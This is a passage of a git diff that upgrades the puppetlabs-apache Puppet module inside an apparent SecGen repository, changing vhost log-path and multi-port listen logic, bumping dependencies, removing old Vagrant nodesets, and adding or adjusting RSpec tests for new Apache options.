+ if $passenger_app_root or $passenger_app_env or $passenger_ruby or $passenger_min_instances or $passenger_max_requests or $passenger_start_timeout or $passenger_pre_start or $passenger_user or $passenger_high_performance or $passenger_nodejs or $passenger_sticky_sessions or $passenger_startup_file {
include ::apache::mod::passenger
}
@@ -392,7 +303,12 @@ define apache::vhost(
if $access_log and !$access_logs {
if $access_log_file {
- $_logs_dest = "${logroot}/${access_log_file}"
+ if $access_log_file =~ /^\// {
+ # Absolute path provided - don't prepend $logroot
+ $_logs_dest = $access_log_file
+ } else {
+ $_logs_dest = "${logroot}/${access_log_file}"
+ }
} elsif $access_log_pipe {
$_logs_dest = $access_log_pipe
} elsif $access_log_syslog {
@@ -415,7 +331,12 @@ define apache::vhost(
}
if $error_log_file {
- $error_log_destination = "${logroot}/${error_log_file}"
+ if $error_log_file =~ /^\// {
+ # Absolute path provided - don't prepend $logroot
+ $error_log_destination = $error_log_file
+ } else {
+ $error_log_destination = "${logroot}/${error_log_file}"
+ }
} elsif $error_log_pipe {
$error_log_destination = $error_log_pipe
} elsif $error_log_syslog {
@@ -446,10 +367,11 @@ define apache::vhost(
if $ip {
- $_ip = enclose_ipv6($ip)
+ $_ip = any2array(enclose_ipv6($ip))
if $port {
- $listen_addr_port = suffix(any2array($_ip),":${port}")
- $nvh_addr_port = suffix(any2array($_ip),":${port}")
+ $_port = any2array($port)
+ $listen_addr_port = split(inline_template("<%= @_ip.product(@_port).map {|x| x.join(':') }.join(',')%>"), ',')
+ $nvh_addr_port = split(inline_template("<%= @_ip.product(@_port).map {|x| x.join(':') }.join(',')%>"), ',')
} else {
$listen_addr_port = undef
$nvh_addr_port = $_ip
@@ -460,7 +382,7 @@ define apache::vhost(
} else {
if $port {
$listen_addr_port = $port
- $nvh_addr_port = "${vhost_name}:${port}"
+ $nvh_addr_port = prefix(any2array($port),"${vhost_name}:")
} else {
$listen_addr_port = undef
$nvh_addr_port = $name
@@ -474,18 +396,12 @@ define apache::vhost(
fail("Apache::Vhost[${name}]: Mixing IP and non-IP Listen directives is not possible; check the add_listen parameter of the apache::vhost define to disable this")
}
if $listen_addr_port and $ensure == 'present' {
- # SECGEN CHANGES:: DO NOT REVERT
- apache::listen { $listen_addr_port:
- port => $port,
- }
+ ensure_resource('apache::listen', $listen_addr_port)
}
}
if ! $ip_based {
if $ensure == 'present' and (versioncmp($apache_version, '2.4') < 0) {
- # SECGEN CHANGES:: DO NOT REVERT -- Enables multiple modules to run with separate ports
- ::apache::namevirtualhost{$nvh_addr_port:
- port => $port,
- }
+ ensure_resource('apache::namevirtualhost', $nvh_addr_port)
}
}
@@ -835,7 +751,7 @@ define apache::vhost(
# - $proxy_preserve_host
# - $proxy_add_headers
# - $no_proxy_uris
- if $proxy_dest or $proxy_pass or $proxy_pass_match or $proxy_dest_match {
+ if $proxy_dest or $proxy_pass or $proxy_pass_match or $proxy_dest_match or $proxy_preserve_host {
concat::fragment { "${name}-proxy":
target => "${priority_real}${filename}.conf",
order => 160,
@@ -960,6 +876,8 @@ define apache::vhost(
# Template uses:
# - $ssl_proxyengine
# - $ssl_proxy_verify
+ # - $ssl_proxy_verify_depth
+ # - $ssl_proxy_ca_cert
# - $ssl_proxy_check_peer_cn
# - $ssl_proxy_check_peer_name
# - $ssl_proxy_check_peer_expire
@@ -1079,6 +997,7 @@ define apache::vhost(
# - $passenger_app_env
# - $passenger_ruby
# - $passenger_min_instances
+ # - $passenger_max_requests
# - $passenger_start_timeout
# - $passenger_pre_start
# - $passenger_user
@@ -1161,6 +1080,16 @@ define apache::vhost(
}
}
+ # Template uses:
+ # - $http_protocol_options
+ if $http_protocol_options {
+ concat::fragment { "${name}-http_protocol_options":
+ target => "${priority_real}${filename}.conf",
+ order => 350,
+ content => template('apache/vhost/_http_protocol_options.erb'),
+ }
+ }
+
# Template uses no variables
concat::fragment { "${name}-file_footer":
target => "${priority_real}${filename}.conf",
diff --git a/modules/services/unix/http/apache/metadata.json b/modules/services/unix/http/apache/metadata.json
index 7bb2f12db..a7aa8e164 100644
--- a/modules/services/unix/http/apache/metadata.json
+++ b/modules/services/unix/http/apache/metadata.json
@@ -1,15 +1,21 @@
{
"name": "puppetlabs-apache",
- "version": "1.11.0",
- "author": "puppetlabs",
+ "version": "2.0.0",
+ "author": "puppet",
"summary": "Installs, configures, and manages Apache virtual hosts, web services, and modules.",
"license": "Apache-2.0",
"source": "git://github.com/puppetlabs/puppetlabs-apache.git",
"project_page": "https://github.com/puppetlabs/puppetlabs-apache",
"issues_url": "https://tickets.puppetlabs.com/browse/MODULES",
"dependencies": [
- {"name":"puppetlabs/stdlib","version_requirement":">= 4.2.0 < 5.0.0"},
- {"name":"puppetlabs/concat","version_requirement":">= 1.1.1 < 3.0.0"}
+ {
+ "name": "puppetlabs/stdlib",
+ "version_requirement": ">= 4.13.1 < 5.0.0"
+ },
+ {
+ "name": "puppetlabs/concat",
+ "version_requirement": ">= 2.2.1 < 5.0.0"
+ }
],
"data_provider": null,
"operatingsystem_support": [
@@ -72,7 +78,7 @@
"requirements": [
{
"name": "puppet",
- "version_requirement": ">= 3.0.0 < 5.0.0"
+ "version_requirement": ">= 4.7.0 < 6.0.0"
}
],
"description": "Module for Apache configuration"
diff --git a/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb b/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb
old mode 100644
new mode 100755
index 923df6666..2ba1a4452
--- a/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb
+++ b/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb
@@ -237,6 +237,25 @@ describe 'apache parameters' do
end
end
+ describe 'http_protocol_options' do
+ # Actually >= 2.4.24, but the minor version is not provided
+ # https://bugs.launchpad.net/ubuntu/+source/apache2/2.4.7-1ubuntu4.15
+ # basically versions of the ubuntu or sles apache package cause issue
+ if $apache_version >= '2.4' && fact('operatingsystem') !~ /Ubuntu|SLES/
+ describe 'setup' do
+ it 'applies cleanly' do
+ pp = "class { 'apache': http_protocol_options => 'Unsafe RegisteredMethods Require1.0'}"
+ apply_manifest(pp, :catch_failures => true)
+ end
+ end
+
+ describe file($conf_file) do
+ it { is_expected.to be_file }
+ it { is_expected.to contain 'HttpProtocolOptions Unsafe RegisteredMethods Require1.0' }
+ end
+ end
+ end
+
describe 'server_root' do
describe 'setup' do
it 'applies cleanly' do
@@ -353,14 +372,14 @@ describe 'apache parameters' do
describe 'keepalive' do
describe 'setup' do
it 'applies cleanly' do
- pp = "class { 'apache': keepalive => 'On', keepalive_timeout => '30', max_keepalive_requests => '200' }"
+ pp = "class { 'apache': keepalive => 'Off', keepalive_timeout => '30', max_keepalive_requests => '200' }"
apply_manifest(pp, :catch_failures => true)
end
end
describe file($conf_file) do
it { is_expected.to be_file }
- it { is_expected.to contain 'KeepAlive On' }
+ it { is_expected.to contain 'KeepAlive Off' }
it { is_expected.to contain 'KeepAliveTimeout 30' }
it { is_expected.to contain 'MaxKeepAliveRequests 200' }
end
@@ -483,6 +502,22 @@ describe 'apache parameters' do
end
end
+ describe 'file_e_tag' do
+ it 'applys cleanly' do
+ pp = <<-EOS
+ class { 'apache':
+ file_e_tag => 'None',
+ }
+ EOS
+ apply_manifest(pp, :catch_failures => true)
+ end
+
+ describe file($conf_file) do
+ it { is_expected.to be_file }
+ it { is_expected.to contain 'FileETag None' }
+ end
+ end
+
describe 'package_ensure' do
it 'applys cleanly' do
pp = <<-EOS
diff --git a/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb b/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb
index ab241e455..35706c9a2 100644
--- a/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb
+++ b/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb
@@ -19,38 +19,40 @@ describe 'apache::default_mods class' do
end
end
- describe 'no default mods and failing' do
- before :all do
- pp = <<-PP
- include apache::params
- class { 'apache': default_mods => false, service_ensure => stopped, }
- PP
- apply_manifest(pp)
- end
- # Using puppet_apply as a helper
- it 'should apply with errors' do
- pp = <<-EOS
- class { 'apache':
- default_mods => false,
- }
- apache::vhost { 'defaults.example.com':
- docroot => '#{$doc_root}/defaults',
- aliases => {
- alias => '/css',
- path => '#{$doc_root}/css',
- },
- directories => [
- {
- 'path' => "#{$doc_root}/admin",
- 'auth_basic_fake' => 'demo demopass',
- }
- ],
- setenv => 'TEST1 one',
- }
- EOS
+ unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemmajrelease') == '12')
+ describe 'no default mods and failing' do
+ before :all do
+ pp = <<-PP
+ include apache::params
+ class { 'apache': default_mods => false, service_ensure => stopped, }
+ PP
+ apply_manifest(pp)
+ end
+ # Using puppet_apply as a helper
+ it 'should apply with errors' do
+ pp = <<-EOS
+ class { 'apache':
+ default_mods => false,
+ }
+ apache::vhost { 'defaults.example.com':
+ docroot => '#{$doc_root}/defaults',
+ aliases => {
+ alias => '/css',
+ path => '#{$doc_root}/css',
+ },
+ directories => [
+ {
+ 'path' => "#{$doc_root}/admin",
+ 'auth_basic_fake' => 'demo demopass',
+ }
+ ],
+ setenv => 'TEST1 one',
+ }
+ EOS
- apply_manifest(pp, { :expect_failures => true })
- end
+ apply_manifest(pp, { :expect_failures => true })
+ end
+ end
describe service($service_name) do
it { is_expected.not_to be_running }
diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb b/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb
index c88d59448..1455d5630 100644
--- a/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb
+++ b/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb
@@ -1,35 +1,20 @@
require 'spec_helper_acceptance'
require_relative './version.rb'
-# Don't run this test on Debian < 8 or Ubuntu < 12, because Debian doesn't like
-# updating packages and Pagespeed doesn't like old packages.
-describe 'apache::mod::pagespeed class', :unless =>
- ((fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') < '8') or
- (fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemmajrelease') < '12') or
- (fact('operatingsystem') == 'SLES' )) do
+# Only run the test on centos 7, this is to cut down on the different types of setup
+# required. Installing the dependancies are highly prone to failure.
+describe 'apache::mod::pagespeed class', :if =>
+ ((fact('operatingsystem') == 'CentOS' ) and
+ (fact('operatingsystemmajrelease') == '7' )) do
context "default pagespeed config" do
it 'succeeds in puppeting pagespeed' do
pp= <<-EOS
- if $::osfamily == 'Debian' {
- class { 'apt': }
-
- apt::source { 'mod-pagespeed':
- key => '7FAC5991',
- key_server => 'pgp.mit.edu',
- location => 'http://dl.google.com/linux/mod-pagespeed/deb/',
- release => 'stable',
- repos => 'main',
- include_src => false,
- before => Class['apache'],
- }
- } elsif $::osfamily == 'RedHat' {
- yumrepo { 'mod-pagespeed':
- baseurl => "http://dl.google.com/linux/mod-pagespeed/rpm/stable/$::architecture",
- enabled => 1,
- gpgcheck => 1,
- gpgkey => 'https://dl-ssl.google.com/linux/linux_signing_key.pub',
- before => Class['apache'],
- }
+ yumrepo { 'mod-pagespeed':
+ baseurl => "http://dl.google.com/linux/mod-pagespeed/rpm/stable/$::architecture",
+ enabled => 1,
+ gpgcheck => 1,
+ gpgkey => 'https://dl-ssl.google.com/linux/linux_signing_key.pub',
+ before => Class['apache'],
}
class { 'apache':
@@ -54,11 +39,7 @@ describe 'apache::mod::pagespeed class', :unless =>
end
describe service($service_name) do
- if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8')
- pending 'Should be enabled - Bug 760616 on Debian 8'
- else
- it { should be_enabled }
- end
+ it { should be_enabled }
it { is_expected.to be_running }
end
diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb b/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb
index 45b901fae..59be2baaa 100644
--- a/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb
+++ b/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb
@@ -1,7 +1,7 @@
require 'spec_helper_acceptance'
require_relative './version.rb'
-unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemrelease') == '12.0')
+unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemmajrelease') == '12')
describe 'apache::mod::php class' do
context "default php config" do
it 'succeeds in puppeting php' do
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml
deleted file mode 100644
index 2ab005204..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- centos-70-x64:
- roles:
- - master
- platform: el-7-x86_64
- box : puppetlabs/centos-7.0-64-nocm
- box_url : https://vagrantcloud.com/puppetlabs/boxes/centos-7.0-64-nocm
- hypervisor : vagrant
-CONFIG:
- log_level: verbose
- type: foss
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml
deleted file mode 100644
index e642e0992..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- debian-607-x64:
- roles:
- - master
- platform: debian-6-amd64
- box : debian-607-x64-vbox4210-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-607-x64-vbox4210-nocm.box
- hypervisor : vagrant
-CONFIG:
- log_level: debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml
deleted file mode 100644
index cbbbfb2cc..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- debian-70rc1-x64:
- roles:
- - master
- platform: debian-7-amd64
- box : debian-70rc1-x64-vbox4210-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-70rc1-x64-vbox4210-nocm.box
- hypervisor : vagrant
-CONFIG:
- log_level: debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml
deleted file mode 100644
index a38902d89..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- debian-73-i386:
- roles:
- - master
- platform: debian-7-i386
- box : debian-73-i386-virtualbox-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-73-i386-virtualbox-nocm.box
- hypervisor : vagrant
-CONFIG:
- log_level: debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml
deleted file mode 100644
index f9cf0c9b8..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- debian-73-x64:
- roles:
- - master
- platform: debian-7-amd64
- box : debian-73-x64-virtualbox-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-73-x64-virtualbox-nocm.box
- hypervisor : vagrant
-CONFIG:
- log_level: debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml
deleted file mode 100644
index 800c49aaa..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-HOSTS:
- debian-82:
- roles:
- - master
- platform: debian-8-amd64
- box: puppetlabs/debian-8.2-64-nocm
- hypervisor: vagrant
-CONFIG:
- log_level: debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml
deleted file mode 100644
index 086cae995..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- fedora-18-x64:
- roles:
- - master
- platform: fedora-18-x86_64
- box : fedora-18-x64-vbox4210-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/fedora-18-x64-vbox4210-nocm.box
- hypervisor : vagrant
-CONFIG:
- log_level: debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml
deleted file mode 100644
index 5ca1514e4..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-HOSTS:
- ubuntu-server-10044-x64:
- roles:
- - master
- platform: ubuntu-10.04-amd64
- box : ubuntu-server-10044-x64-vbox4210-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-10044-x64-vbox4210-nocm.box
- hypervisor : vagrant
-CONFIG:
- type: foss
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml
deleted file mode 100644
index d065b304f..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-HOSTS:
- ubuntu-server-12042-x64:
- roles:
- - master
- platform: ubuntu-12.04-amd64
- box : ubuntu-server-12042-x64-vbox4210-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-12042-x64-vbox4210-nocm.box
- hypervisor : vagrant
-CONFIG:
- type: foss
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml
deleted file mode 100644
index f4b2366f3..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- ubuntu-server-1310-x64:
- roles:
- - master
- platform: ubuntu-13.10-amd64
- box : ubuntu-server-1310-x64-vbox4210-nocm
- box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-1310-x64-virtualbox-nocm.box
- hypervisor : vagrant
-CONFIG:
- log_level : debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml
deleted file mode 100644
index cba1cd04c..000000000
--- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-HOSTS:
- ubuntu-server-1404-x64:
- roles:
- - master
- platform: ubuntu-14.04-amd64
- box : puppetlabs/ubuntu-14.04-64-nocm
- box_url : https://vagrantcloud.com/puppetlabs/ubuntu-14.04-64-nocm
- hypervisor : vagrant
-CONFIG:
- log_level : debug
- type: git
diff --git a/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb b/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb
index 200a83d22..dae411538 100644
--- a/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb
+++ b/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb
@@ -260,6 +260,135 @@ describe 'apache::vhost define' do
end
end
+ context 'new vhost with multiple ports on 1 IP address' do
+ it 'should configure one apache vhost with 2 ports' do
+ pp = <<-EOS
+ class { 'apache':
+ default_vhost => false,
+ }
+ apache::vhost { 'example.com':
+ port => ['80','8080'],
+ ip => '127.0.0.1',
+ ip_based => true,
+ docroot => '/var/www/html',
+ }
+ host { 'host1.example.com': ip => '127.0.0.1', }
+ file { '/var/www/html/index.html':
+ ensure => file,
+ content => "Hello from vhost\\n",
+ }
+ EOS
+ apply_manifest(pp, :catch_failures => true)
+ end
+
+ describe service($service_name) do
+ if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8')
+ pending 'Should be enabled - Bug 760616 on Debian 8'
+ else
+ it { should be_enabled }
+ end
+ it { is_expected.to be_running }
+ end
+
+ describe file("#{$vhost_dir}/25-example.com.conf") do
+ it { is_expected.to contain '' }
+ it { is_expected.to contain "ServerName example.com" }
+ end
+
+ describe file($ports_file) do
+ it { is_expected.to be_file }
+ it { is_expected.to contain 'Listen 127.0.0.1:80' }
+ it { is_expected.to contain 'Listen 127.0.0.1:8080' }
+ it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:80' }
+ it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:8080' }
+ end
+
+ it 'should answer to host1.example.com port 80' do
+ shell("/usr/bin/curl host1.example.com:80", {:acceptable_exit_codes => 0}) do |r|
+ expect(r.stdout).to eq("Hello from vhost\n")
+ end
+ end
+
+ it 'should answer to host1.example.com port 8080' do
+ shell("/usr/bin/curl host1.example.com:8080", {:acceptable_exit_codes => 0}) do |r|
+ expect(r.stdout).to eq("Hello from vhost\n")
+ end
+ end
+ end
+
+ context 'new vhost with multiple IP addresses on multiple ports' do
+ it 'should configure one apache vhost with 2 ip addresses and 2 ports' do
+ pp = <<-EOS
+ class { 'apache':
+ default_vhost => false,
+ }
+ apache::vhost { 'example.com':
+ port => ['80', '8080'],
+ ip => ['127.0.0.1','127.0.0.2'],
+ ip_based => true,
+ docroot => '/var/www/html',
+ }
+ host { 'host1.example.com': ip => '127.0.0.1', }
+ host { 'host2.example.com': ip => '127.0.0.2', }
+ file { '/var/www/html/index.html':
+ ensure => file,
+ content => "Hello from vhost\\n",
+ }
+ EOS
+ apply_manifest(pp, :catch_failures => true)
+ end
+
+ describe service($service_name) do
+ if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8')
+ pending 'Should be enabled - Bug 760616 on Debian 8'
+ else
+ it { should be_enabled }
+ end
+ it { is_expected.to be_running }
+ end
+
+ describe file("#{$vhost_dir}/25-example.com.conf") do
+ it { is_expected.to contain '' }
+ it { is_expected.to contain "ServerName example.com" }
+ end
+
+ describe file($ports_file) do
+ it { is_expected.to be_file }
+ it { is_expected.to contain 'Listen 127.0.0.1:80' }
+ it { is_expected.to contain 'Listen 127.0.0.1:8080' }
+ it { is_expected.to contain 'Listen 127.0.0.2:80' }
+ it { is_expected.to contain 'Listen 127.0.0.2:8080' }
+ it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:80' }
+ it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:8080' }
+ it { is_expected.not_to contain 'NameVirtualHost 127.0.0.2:80' }
+ it { is_expected.not_to contain 'NameVirtualHost 127.0.0.2:8080' }
+ end
+
+ it 'should answer to host1.example.com port 80' do
+ shell("/usr/bin/curl host1.example.com:80", {:acceptable_exit_codes => 0}) do |r|
+ expect(r.stdout).to eq("Hello from vhost\n")
+ end
+ end
+
+ it 'should answer to host1.example.com port 8080' do
+ shell("/usr/bin/curl host1.example.com:8080", {:acceptable_exit_codes => 0}) do |r|
+ expect(r.stdout).to eq("Hello from vhost\n")
+ end
+ end
+
+ it 'should answer to host2.example.com port 80' do
+ shell("/usr/bin/curl host2.example.com:80", {:acceptable_exit_codes => 0}) do |r|
+ expect(r.stdout).to eq("Hello from vhost\n")
+ end
+ end
+
+ it 'should answer to host2.example.com port 8080' do
+ shell("/usr/bin/curl host2.example.com:8080", {:acceptable_exit_codes => 0}) do |r|
+ expect(r.stdout).to eq("Hello from vhost\n")
+ end
+ end
+ end
+
context 'new vhost with IPv6 address on port 80', :ipv6 do
it 'should configure one apache vhost with an ipv6 address' do
pp = <<-EOS
@@ -1460,21 +1589,18 @@ describe 'apache::vhost define' do
location => $_location,
release => $_release,
repos => $_repos,
- include_src => false,
}
apt::source { "${_os}_${_release}-updates":
location => $_location,
release => "${_release}-updates",
repos => $_repos,
- include_src => false,
}
apt::source { "${_os}_${_release}-security":
location => $_security_location,
release => $_release_security,
repos => $_repos,
- include_src => false,
}
EOS
diff --git a/modules/services/unix/http/apache/spec/classes/apache_spec.rb b/modules/services/unix/http/apache/spec/classes/apache_spec.rb
index 6eef4ba24..715ed4124 100644
--- a/modules/services/unix/http/apache/spec/classes/apache_spec.rb
+++ b/modules/services/unix/http/apache/spec/classes/apache_spec.rb
@@ -110,6 +110,14 @@ describe 'apache', :type => :class do
it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^AllowEncodedSlashes nodecode$} }
end
+ context "when specifying fileETag behaviour" do
+ let :params do
+ { :file_e_tag => 'None' }
+ end
+
+ it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^FileETag None$} }
+ end
+
context "when specifying default character set" do
let :params do
{ :default_charset => 'none' }
@@ -555,12 +563,6 @@ describe 'apache', :type => :class do
it { is_expected.not_to contain_class('apache::mod::peruser') }
it { is_expected.not_to contain_class('apache::mod::prefork') }
end
- context "when declaring mpm_module => breakme" do
- let :params do
- { :mpm_module => 'breakme' }
- end
- it { expect { catalogue }.to raise_error Puppet::Error, /does not match/ }
- end
end
describe "different templates for httpd.conf" do
diff --git a/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb
index 74b6827d0..0f77a627e 100644
--- a/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb
+++ b/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb
@@ -74,4 +74,33 @@ describe 'apache::mod::auth_kerb', :type => :class do
it { is_expected.to contain_package("www-apache/mod_auth_kerb") }
end
end
+ context "overriding mod_packages" do
+ context "on a RedHat OS", :compile do
+ let :facts do
+ {
+ :id => 'root',
+ :kernel => 'Linux',
+ :osfamily => 'RedHat',
+ :operatingsystem => 'RedHat',
+ :operatingsystemrelease => '6',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :concat_basedir => '/dne',
+ :is_pe => false,
+ }
+ end
+ let :pre_condition do
+ <<-EOS
+ include apache::params
+ class { 'apache':
+ mod_packages => merge($::apache::params::mod_packages, {
+ 'auth_kerb' => 'httpd24-mod_auth_kerb',
+ })
+ }
+ EOS
+ end
+ it { is_expected.to contain_apache__mod("auth_kerb") }
+ it { is_expected.to contain_package("httpd24-mod_auth_kerb") }
+ it { is_expected.to_not contain_package("mod_auth_kerb") }
+ end
+ end
end
diff --git a/modules/services/unix/http/apache/spec/classes/mod/authnz_pam_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/authnz_pam_spec.rb
new file mode 100644
index 000000000..4bceeab85
--- /dev/null
+++ b/modules/services/unix/http/apache/spec/classes/mod/authnz_pam_spec.rb
@@ -0,0 +1,44 @@
+require 'spec_helper'
+
+describe 'apache::mod::authnz_pam', :type => :class do
+ it_behaves_like "a mod class, without including apache"
+
+ context "default configuration with parameters" do
+ context "on a Debian OS" do
+ let :facts do
+ {
+ :lsbdistcodename => 'squeeze',
+ :osfamily => 'Debian',
+ :operatingsystemrelease => '6',
+ :concat_basedir => '/dne',
+ :id => 'root',
+ :kernel => 'Linux',
+ :operatingsystem => 'Debian',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ it { is_expected.to contain_class("apache") }
+ it { is_expected.to contain_package("libapache2-mod-authnz-pam") }
+ it { is_expected.to contain_apache__mod('authnz_pam') }
+ end #Debian
+
+ context "on a RedHat OS" do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :operatingsystemrelease => '6',
+ :concat_basedir => '/dne',
+ :id => 'root',
+ :kernel => 'Linux',
+ :operatingsystem => 'RedHat',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ it { is_expected.to contain_class("apache") }
+ it { is_expected.to contain_package("mod_authnz_pam") }
+ it { is_expected.to contain_apache__mod('authnz_pam') }
+ end # Redhat
+ end
+end
diff --git a/modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb b/modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb
deleted file mode 100644
index 263b4cac6..000000000
--- a/modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-require 'spec_helper'
-
-describe 'apache::mod::disk_cache', :type => :class do
- let :pre_condition do
- 'include apache'
- end
- context "on a Debian OS", :compile do
- let :facts do
- {
- :id => 'root',
- :kernel => 'Linux',
- :lsbdistcodename => 'squeeze',
- :osfamily => 'Debian',
- :operatingsystem => 'Debian',
- :operatingsystemrelease => '6',
- :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
- :concat_basedir => '/dne',
- :is_pe => false,
- }
- end
- context "with Apache version < 2.4" do
- let :params do
- {
- :apache_version => '2.2',
- }
- end
-
- it { is_expected.to contain_apache__mod("disk_cache") }
- it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/apache2\/mod_disk_cache\"\nCacheDirLevels 2\nCacheDirLength 1/) }
- end
- context "with Apache version >= 2.4" do
- let :params do
- {
- :apache_version => '2.4',
- }
- end
-
- it { is_expected.to contain_apache__mod("cache_disk") }
